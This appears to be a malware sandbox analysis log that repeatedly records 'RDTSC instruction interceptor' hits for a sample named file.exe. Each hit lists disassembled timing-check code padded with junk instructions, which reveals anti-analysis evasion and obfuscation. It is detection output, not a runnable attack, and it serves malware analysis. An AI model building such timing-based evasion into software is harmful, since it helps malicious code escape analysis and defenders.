Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52A95 second address: A52A9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52A9A second address: A52ABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007F684908B756h 0x0000000c popad 0x0000000d pushad 0x0000000e je 00007F684908B756h 0x00000014 pushad 0x00000015 popad 0x00000016 push edx 0x00000017 pop edx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push eax 0x0000001f pop eax 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52ABC second address: A52AC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52AC4 second address: A52AC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A533B7 second address: A533BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A533BD second address: A533C5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A533C5 second address: A533DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F684904922Eh 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5ADCE second address: A5ADD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5ADD4 second address: A5ADDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5ADDA second address: A5ADDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A58F40 second address: A58F44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A58F44 second address: A58F4A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A58F4A second address: A58F74 instructions: 0x00000000 rdtsc 0x00000002 je 00007F684904922Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6849049235h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5927E second address: A5928D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F684908B756h 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5928D second address: A5929A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jl 00007F684904922Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5929A second address: A592A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A595C2 second address: A595CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A595CB second address: A595CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A59E99 second address: A59E9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A59E9E second address: A59ED1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F684908B770h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007F684908B768h 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F684908B75Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A17F second address: A5A185 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A185 second address: A5A18B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A4A0 second address: A5A4BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6849049239h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A4BD second address: A5A4C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A4C3 second address: A5A501 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F684904922Ah 0x00000008 push esi 0x00000009 pop esi 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d jno 00007F6849049226h 0x00000013 jmp 00007F6849049230h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pushad 0x0000001c jng 00007F6849049228h 0x00000022 pushad 0x00000023 popad 0x00000024 jnc 00007F684904922Ch 0x0000002a jnp 00007F6849049226h 0x00000030 push ebx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A7CF second address: A5A803 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F684908B766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F684908B760h 0x00000011 jnp 00007F684908B758h 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A803 second address: A5A81B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6849049231h 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A60435 second address: A6044B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007F684908B756h 0x0000000d je 00007F684908B756h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6044B second address: A60457 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6386B second address: A6388C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jg 00007F684908B756h 0x00000009 pop esi 0x0000000a pushad 0x0000000b jmp 00007F684908B762h 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6388C second address: A63892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A63B12 second address: A63B16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A63B16 second address: A63B20 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6849049226h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A63B20 second address: A63B3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007F684908B75Bh 0x0000000e jnp 00007F684908B756h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A63B3B second address: A63B5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6849049233h 0x00000007 push ebx 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A63B5B second address: A63B68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnc 00007F684908B758h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A63B68 second address: A63B6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A63B6E second address: A63B72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A63CB1 second address: A63CBA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A63CBA second address: A63CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F684908B760h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A63CD5 second address: A63CD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B7B1B second address: 9B7B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B7B20 second address: 9B7B3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6849049238h 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B7B3E second address: 9B7B42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B7B42 second address: 9B7B4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6CC30 second address: A6CC34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6CC34 second address: A6CC3A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6CC3A second address: A6CC40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6CE0D second address: A6CE25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edx 0x00000006 jmp 00007F684904922Fh 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D0E0 second address: A6D0F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F684908B75Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D247 second address: A6D255 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D255 second address: A6D27C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F684908B756h 0x00000008 jmp 00007F684908B75Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 jmp 00007F684908B75Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D27C second address: A6D29B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007F684904922Fh 0x0000000d jnp 00007F6849049226h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D40E second address: A6D43E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F684908B756h 0x00000009 jmp 00007F684908B75Eh 0x0000000e jmp 00007F684908B765h 0x00000013 popad 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D43E second address: A6D44C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D44C second address: A6D450 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D5F1 second address: A6D5F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6E2DB second address: A6E2F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jng 00007F684908B756h 0x0000000c jne 00007F684908B756h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6E2F0 second address: A6E2F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6EA34 second address: A6EA3E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F684908B756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74632 second address: A7463D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F6849049226h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7463D second address: A7466C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F684908B768h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F684908B756h 0x00000012 jmp 00007F684908B75Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74192 second address: A74198 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74198 second address: A7419D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7419D second address: A741AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 js 00007F6849049226h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76B96 second address: A76B9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76B9C second address: A76BB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push edi 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b jl 00007F6849049226h 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76BB2 second address: A76BB8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80EC1 second address: A80EC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80BC6 second address: A80C00 instructions: 0x00000000 rdtsc 0x00000002 je 00007F684908B75Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F684908B76Ch 0x00000012 push edi 0x00000013 jns 00007F684908B756h 0x00000019 js 00007F684908B756h 0x0000001f pop edi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80C00 second address: A80C11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684904922Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80C11 second address: A80C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A86F8D second address: A86FA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 ja 00007F684904922Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A86A18 second address: A86A1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A91DA8 second address: A91DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jno 00007F6849049226h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A91DB7 second address: A91DBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A96FA1 second address: A96FB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007F6849049226h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A96FB0 second address: A96FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA04E5 second address: AA04E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA04E9 second address: AA0527 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B75Dh 0x00000007 jmp 00007F684908B766h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jp 00007F684908B775h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 pop eax 0x00000018 jmp 00007F684908B75Dh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F0E0 second address: A9F114 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684904922Fh 0x00000007 jl 00007F6849049226h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jg 00007F684904923Bh 0x00000015 jmp 00007F6849049235h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F26F second address: A9F280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jng 00007F684908B75Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F280 second address: A9F2A2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6849049228h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F684904922Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F2A2 second address: A9F2A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F78C second address: A9F7D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 pop edi 0x00000007 jmp 00007F6849049231h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6849049237h 0x00000016 jmp 00007F6849049236h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA546B second address: AA5472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA5472 second address: AA5477 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA5477 second address: AA547D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6AAD second address: AA6AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5989 second address: AB598F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5680 second address: AC5695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F6849049226h 0x0000000a jo 00007F6849049226h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5695 second address: AC5699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5699 second address: AC56A8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6849049226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC56A8 second address: AC56B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5253 second address: AC5257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5257 second address: AC5261 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F684908B756h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5261 second address: AC527B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F684904922Eh 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADE718 second address: ADE71C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADE71C second address: ADE720 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
